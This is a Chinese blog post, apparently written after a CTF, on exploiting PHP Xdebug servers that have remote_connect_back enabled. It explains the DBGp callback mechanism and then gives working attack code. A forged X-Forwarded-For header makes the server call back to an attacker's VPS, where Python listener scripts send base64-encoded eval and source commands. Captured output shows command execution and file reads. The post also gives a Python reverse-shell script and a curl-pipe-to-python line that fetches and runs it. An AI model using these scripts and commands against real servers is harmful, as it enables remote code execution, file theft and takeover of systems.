1. 云栖社区>
  2. PHP教程>
  3. 正文

xdebug的攻击面

作者:用户 来源:互联网 时间:2017-11-30 15:11:54

xdebug攻击

xdebug的攻击面 - 摘要: 本文讲的是xdebug的攻击面, 最近做了WHCTF的题目,看了大佬的研究成果,我自己也跟风学习一波。本篇文章主要讲的是如果开服务器上开启了xdebug的调试,可能会导致被攻击者利用导致命令执行。 xdebug Java、C、Python都可以通过在源程序中打断点进行调

最近做了WHCTF的题目,看了大佬的研究成果,我自己也跟风学习一波。本篇文章主要讲的是如果开服务器上开启了xdebug的调试,可能会导致被攻击者利用导致命令执行。


xdebug

Java、C、Python都可以通过在源程序中打断点进行调试,但是PHP作为一门用于编写网站的语言,如果需要调试PHP源程序就需要借助于 Xdebug 进行调试。 Xdebug 是一个php的扩展,用于进行调试和性能分析,使用的是 DBGp 协议。


xdebug工作原理

本章节来自于 PhpStorm Xdebug远程调试环境搭建原理分析及问题排查


IDE(如phpstorm)已经集成了一个遵循 DBGp 的 Xdebug 插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于: 工具栏>run>Start / Stop Listening for PHP Xdebug Connetions
当浏览器发送一个带 XDEBUG_SESSION_START 的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。
固定IP的调试方式:

xdebug的攻击面-


在这个示例图中是绑定了IP,即使用了固定IP地址,xdeug.remote_connect_back=0,也是xdebug的默认方式。这种情况下,xdebug在收到调试通知时会读取xdebug.remote_host和xdebug_port,默认是 localhost:9000 ,然后向这个端口发送信息,这种方式只适合单一客户端开发调试,平时开发者使用最多的也是这种方式。


非固定IP的调试方式:

xdebug根据请求来源(REMOTE_HOST)来发起调试。示例图如下:


xdebug的攻击面-


那从用户发起请求到IDE的整个流程图如下:


xdebug的攻击面-


当用户的请求参数或者cookie中不带调试信息,数据流就是浏览器到Apache(或其他web容器)到PHP,如果加上了调试参数,则请求还会由PHP转给Xdebug,Xdebug再把信息转发给IDE,完成调试功能。


为了更加深刻地理解这个问题,通过 phpstudy+firefox+burp 来实际观察xdebug的调试过程。


访问URL, localhost/index.php ,浏览器端开启 xdebug ,同时在phpstorm中开启监听。


xdebug的攻击面-


上图中显示的就是完整的使用xdebug的调试过程。而非固定IP的调试方式和固定IP的调试方式仅仅只是在于一个只能指定IP浏览器访问才能够进行调试,一个是任意IP地址的浏览器访问均可进行调试。


xdebug的攻击面

xdebug的攻击面是出现在非固定IP的调试上面,在非固定IP的调试中,xdebug的相关配置如下:



xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.remote_mode = "req"
xdebug.remote_enable=on
xdebug.remote_port = 9000
xdebug.remote_autostart = no
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =/tmp/test.log


其中最为关键的的配置是 xdebug.remote_connect_back = 1 ,这个设置表示是开启回连。 xdebug.remote_connect_back 的回连是通过自定义Header(xdebug.remote_addr_headr)、X-Forwarded-For以及Remote-Addr来确定的。服务器会访问这些请求头,依次进行回连。所以即使配置了自定的Header,也可以通过设置XFF来指定服务器连接。


Xdebug 的网络交互也十分简单,客户端向服务器发送XML数据,服务器向客户端发送类似于gdb的command。每次交互的数据以 /x00 作为EOL。在这种情况,我们使用 curl 就可以触发xdebug的调试。


在 DBGp 中存在一些可以危险的命令,如果开启了回连,就有可能导致这些命令能够被执行。这些危险的命令包括:


Core Commands > source
source 可以读取文件,使用方式是 source -i transaction_id -f fileURI 。transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径。需要注意的是,Xdebug也受限于 open_basedir
Extended Commands > eval
eval的用法与php中的eval用法相同,使用方式是 eval -i transaction_id -- {DATA} ,其中{DATA} 为 base64 过的 PHP 代码
Extended Commands > interact - Interactive Shell
Xdebug并没有实现
Core Commands > property_set
xdebug的攻击实战

我们在本地开启了xdebug调试模式,并且配置参数为:



xdebug.idekey="PHPSTORM"
xdebug.remote_handler = "dbgp"
xdebug.remote_mode = "req"
xdebug.remote_enable=on
xdebug.remote_port = 9000
xdebug.remote_autostart = no
xdebug.remote_connect_back = 1


开启了回连,端口是9000,idekey是phpstorm。


确认回连

通过XFF判断是否开启了xdebug的回连。

访问
curl 'http://192.168.158.1/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"


在公网VPS上面使用nc监听9000端口,最终的效果如下:




[email protected]:~$ nc -lvv 9000
Listening on [0.0.0.0] (family 0, port 9000)
Connection from [218.197.152.193] port 9000 [tcp/*] accepted (family 2, sport 30171)
498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>


出现了上面的地址,说明xdebug开启了回连。


利用

通过前面的说明,通过 DBGp 可以使用一些敏感函数,包括 eval 。这样就能够执行系统命令了。利用脚本如下:



#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s/x00' % data.encode('base64'))


在VPS上面运行这段代码,代替使用nc监听9000。


访问 curl 'http://192.168.158.1/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"


此时VPS上面的显示为:



[email protected]:~$ python xdebug_exp.py
498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>


尝试在交互式shell中执行命令;


执行whoami命令



>> system('whoami')
284<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="22" encoding="base64"><![CDATA[ZGVza3RvcC00OHJtMmlmXHNwb29jaw==]]></property></response>


创建文件夹



>> system('mkdir spoocktest')
251<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="0" encoding="base64"><![CDATA[]]></property></response>


读取文件



>> system('type index.php')
255<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="2" encoding="base64"><![CDATA[Pz4=]]></property></response>


由于xdebug的环境是使用在win10上面利用phpstudy搭建的,所以使用 type 命令来读取的文件,但是在我使用 type 命令读取文件的时候发现仅仅只能显示文件的最后一行,在cmd中通过使用 type 则是可以正常地读取到文件的所有内容,关于这一点目前还不是很理解。


其他-文件读取

之前说明还可以通过 source 的方式读取文件,那么将利用脚本修改为:



#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('source -i 1 -f file:///%s/x00' % data)


通过这种方式就可以读取任意文件了,但是由于设置了读取文件的大小,不能读取所有的文件内容,这个也可以通过程序实现读取文件所有的内容,一下就是运行的结果:



# 初次连接时显示的信息
[email protected]:~$ python xdebug_file_exp.py
497<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="1000" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>
# 通过相对路径的方式读取index.php文件
>> index.php
2821<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[PD9waHANCnJlcXVpcmUoImluYy9jb25uLnBocCIpOw0KJGRvbWFpbj0kX1NFUlZFUlsnSFRUUF9IT1NUJ107IC8v5Y+W5b6X55So5oi35omA6K6/6Zeu55qE5Z+f5ZCN5YWo56ewDQokZG9tYWluMj1zdWJzdHIoJGRvbWFpbiwwLHN0cnBvcygkZG9tYWluLCcuJykpOw0KJGRvbWFpbl96aHU9Z2V0X3podXl1bWluZygkZG9tYWluKTsvL+mSiOWvuXd3dy7kuLrnqbrnmoTmg4XlhrXvvIzliKTmlq0kZG9tYWluMjw+JGRvbWFpbnpodQ0KDQovL2VjaG8gJGRvbWFpbi4nPGJyPicuc3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLHNpdGV1cmwpOw0KDQppZiAoJGRvbWFpbjw+c3RyX3JlcGxhY2UoImh0dHA6Ly8iLCIiLHNpdGV1cmwpICYmICRkb21haW48Pidsb2NhbGhvc3Q6ODA4MCcgJiYgJGRvbWFpbjw+J2xvY2FsaG9zdCcgJiYgJGRvbWFpbjI8PiRkb21haW5femh1ICYmIGNoZWNrX2lzaXAoJGRvbWFpbik9PWZhbHNlKXsNCmhlYWRlcigiTG9jYXRpb246IGRlZmF1bHQuaHRtIixUUlVFLDMwMSk7Ly9zaG93LnBocOWPiuWFtuWug+mhtemdouS4reS7peS6jOe6p+Wfn+WQjeWAvOS4uiRlZGl0b3INCmV4aXQ7DQp9DQoNCmluY2x1ZGUoImluYy90b3BfaW5kZXgucGhwIik7DQppbmNsdWRlKCJp
# 通过绝对路径的方式读取文件
>> C:/phpStudy/WWW/zzcms/index.php
bmMvYm90dG9tLnBocCIpOw0KaW5jbHVkZSgibGFiZWwucGhwIik7DQppbmNsdWRlKCJ6cy9zdWJ6cy5waHAiKTsNCmluY2x1ZGUoImluYy9mbHkucGhwIik7DQoNCiRmcD1kaXJuYW1lKF9fRklMRV9fKS4iL3RlbXBsYXRlLyIuJHNpdGVza2luLiIvaW5kZXguaHRtIjsNCmlmIChmaWxlX2V4aXN0cygkZnApPT1mYWxzZSl7DQpXcml0ZUVyck1zZygkZnAuJ+aooeadv+aWh+S7tuS4jeWtmOWcqCcpOw0KZXhpdDsNCn0NCiRmc28gPSBmb3BlbigkZnAsJ3InKTsNCiRzdHJvdXQgPSBmcmVhZCgkZnNvLGZpbGVzaXplKCRmcCkpOw0KZmNsb3NlKCRmc28pOw0KJHN0cm91dD1zdHJfcmVwbGFjZSgieyNzaXRlc2tpbn0iLCRzaXRlc2tpbiwkc3Ryb3V0KSA7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3NpdGVuYW1lfSIsc2l0ZW5hbWUsJHN0cm91dCkgOw0KJHN0cm91dD1zdHJfcmVwbGFjZSgieyNzaXRldXJsfSIsc2l0ZXVybCwkc3Ryb3V0KSA7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3BhZ2V0aXRsZX0iLHNpdGV0aXRsZSwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjcGFnZWtleXdvcmRzfSIsc2l0ZWtleXdvcmQsJHN0cm91dCk7DQokc3Ryb3V0PXN0cl9yZXBsYWNlKCJ7I3BhZ2VkZXNjcmlwdGlvbn0iLHNpdGVkZXNjcmlwdGlvbiwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjc2l0ZWJvdHRvbX0iLHNpdGVib3R0b20oKSwkc3Ryb3V0KTsNCiRzdHJvdXQ9c3RyX3JlcGxhY2UoInsjc2l0ZXRvcH0iLHNpdGV0b3AoKSwk


其他-反弹shell

通过 system() 函数可以在xdebug的服务器上面执行命令,那么是否能够反弹shell呢?反弹shell的方式也是很多的,这里采用的是利用Python的方式来反弹。


shell.py 的内容如下:



import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",12345)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])


通过 curl 的方式访问连接, curl shell.py | python 即可得到反弹shell。


xdebug的攻击面-


那么利用这种方式,我们考虑在xdebug服务器上面通过curl的方式运行,同样可以得到反弹shell。如下:



system("curl URL/shell.py|python")


此时可以同样地得到反弹shell。


又学习到新的姿势了。


以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索xdebug 攻击 ,以便于您获取更多的相关知识。